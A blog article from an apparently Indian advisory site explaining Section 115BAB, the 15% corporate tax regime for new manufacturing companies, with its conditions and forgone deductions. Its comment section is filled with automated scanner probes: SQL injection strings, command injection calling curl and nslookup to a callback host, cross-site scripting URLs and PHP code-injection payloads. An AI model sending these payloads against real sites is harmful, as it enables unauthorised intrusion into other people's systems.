SeedUp

Written By: Team SeedUp

Date: 11/06/2021

15%* Corporate Tax...Read on to understand which Companies are eligible

Analysis of Sec. 115BAB

Section 115BAB prescribes for 15% tax rate for a domestic company that is incorporated after 1st Oct, 2019 & is solely engaged in the manufacturing or production of any article or thing and is commencing manufacturing before 31st March 2023. The surcharge applicable on such tax shall be 10%, irrespective of the income of the company, with health and education cess at the rate of 4%. The effective tax rate will be 17.16% and Minimum Alternative Tax (MAT) will not be applicable to companies opting for this Scheme.

Any prospective domestic company which wishes to avail the benefit of this section shall have to comply with certain conditions/restrictions, which are as under:

The company has been set-up and registered on or after the 1st day of October, 2019, and has commenced manufacturing or production of an article or thing on or before the 31st day of March, 2023.
The business is not formed by splitting up, or the reconstruction, of a business already in existence.

· The business of manufacture or production of any article does not include business of-

o development of computer software in any form or in any media;

o mining;

o conversion of marble blocks or similar items into slabs;

o bottling of gas into cylinder;

o printing of books or production of cinematograph film; or

o any other business notified by the Central Government. (not any notified till date)

o the “business of manufacture or production of any article or thing” shall include the business of generation of electricity.

Does not use any machinery or plant previously used for any purpose.
Where a person uses machinery or plant previously used and the total value of such does exceeds 20% of the total value of plant or machinery used by the company, the condition specified therein shall be deemed to have been complied with.

Provided a machinery is deemed to be previously not used, if:

It is previously used outside India, or.,
Imported from any country outside India, or.,
No depreciation is claimed on such machinery under IT Act.

Does not use any building previously used as a hotel or a convention centre, as the case may be, in respect of which deduction under section 80-ID has been claimed and allowed.
The company is not engaged in any business other than the business of manufacture or production of any article or thing and research in relation to, or distribution of, such article or thing manufactured or produced by it.

It has been provided that while computing the total income of such company:

o no deduction on account of SEZ under section 10AA,

o additional initial depreciation allowable at the rate of 20 per cent under section 32(1)(iia),

o investment allowance in respect of new plant and machinery under section 32AC, 32AD,

o Tea Development Benefit under section 33AB,

o Site Restoration benefit under section 33ABA,

o Scientific Research benefit under section 35,

o accelerated capital deduction for specified business under section 35AD,

o agricultural extension project benefit under section 35CCC,

o skill development project under section 35CCD

o the benefit available under provisions of Chapter VI-A i.e. from section 80C to 80U other than section 80JJAA in respect of employment will not be available

Such a company shall also not be eligible to set off any loss or allowance for unabsorbed depreciation carried forward from any earlier assessment year if such loss is attributable to any of the above deductions. Accordingly, if there is any carried forward loss or allowance for unabsorbed depreciation the same has to be adjusted by ignoring the deduction if any claimed under any of the above sections referred.

· The option needs to be exercised before the due date as per section 139(1) of the Act for furnishing the first of the return of income for any previous year starting from AY 2020-21 or subsequent AYs. Once exercised, such option cannot be withdrawn for the same or subsequent AYs.

· In case such transactions are greater than the limit specified for domestic transfer pricing, such profits will be determined having regard to the arm’s length price for such transactions. Hence transactions between companies claiming lower rate under this section and other groups and related parties must be at arm’s length or reasonable basis and not in a manner to evade or reduce tax liability for the group as a whole.

Conclusion:

The effective tax rate of 17.16% is quite competitive. However, there are certain conditions & restrictions to be fulfilled before availing the benefit of reduced rate of Corporate Tax. If a business is in a position to satisfy and comply with such conditions and restrictions, it is beneficial for a company to opt for paying tax under the reduced tax regime. In cases where heavy capital investment in machinery is required, the investor/company will have to carefully analyse the beneficial tax rate of new provision vis-a-vis the additional depreciation foregone.

156 Likes

Written By: Team SeedUp

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|(nslookup${IFS}-q${IFS}cname${IFS}hitjerkqgkrof57f2c.bxss.me||curl${IFS}hitjerkqgkrof57f2c.bxss.me) (Poseted On : 2024-05-20 10:52:56am)

555

HttP://bxss.me/t/xss.html?%00 (Poseted On : 2024-05-20 10:52:56am)

555

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:52:57am)

555

bxss.me/t/xss.html?%00 (Poseted On : 2024-05-20 10:52:57am)

555

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:52:58am)

555

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:52:58am)

Array

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:52:58am)

555

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:52:59am)

555

&(nslookup${IFS}-q${IFS}cname${IFS}hitfplfiqaisycf1fa.bxss.me||curl${IFS}hitfplfiqaisycf1fa.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitfplfiqaisycf1fa.bxss.me||curl${IFS}hitfplfiqaisycf1fa.bxss.me)&`' (Poseted On : 2024-05-20 10:52:59am)

555

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:53:00am)

555

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:53:00am)

555

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:53:01am)

555

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:53:01am)

555

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:53:01am)

555

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:53:04am)

555

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:53:04am)

555

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:53:05am)

Array

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:53:05am)

555

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:53:09am)

555

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:53:09am)

555

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:53:16am)

555

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:53:16am)

'"()

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:53:29am)

555

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:53:55am)

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:53:55am)

555'&&sleep(27*1000)*idqwgx&&'

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:53:55am)

555

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:53:56am)

555

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:54:37am)

';print(md5(31337));$a='

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:54:37am)

555

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:54:38am)

555"&&sleep(27*1000)*kmwbuj&&"

-1' OR 2+37-37-1=0+0+0+1 -- (Poseted On : 2024-05-20 10:55:05am)

-1 OR 2+560-560-1=0+0+0+1 --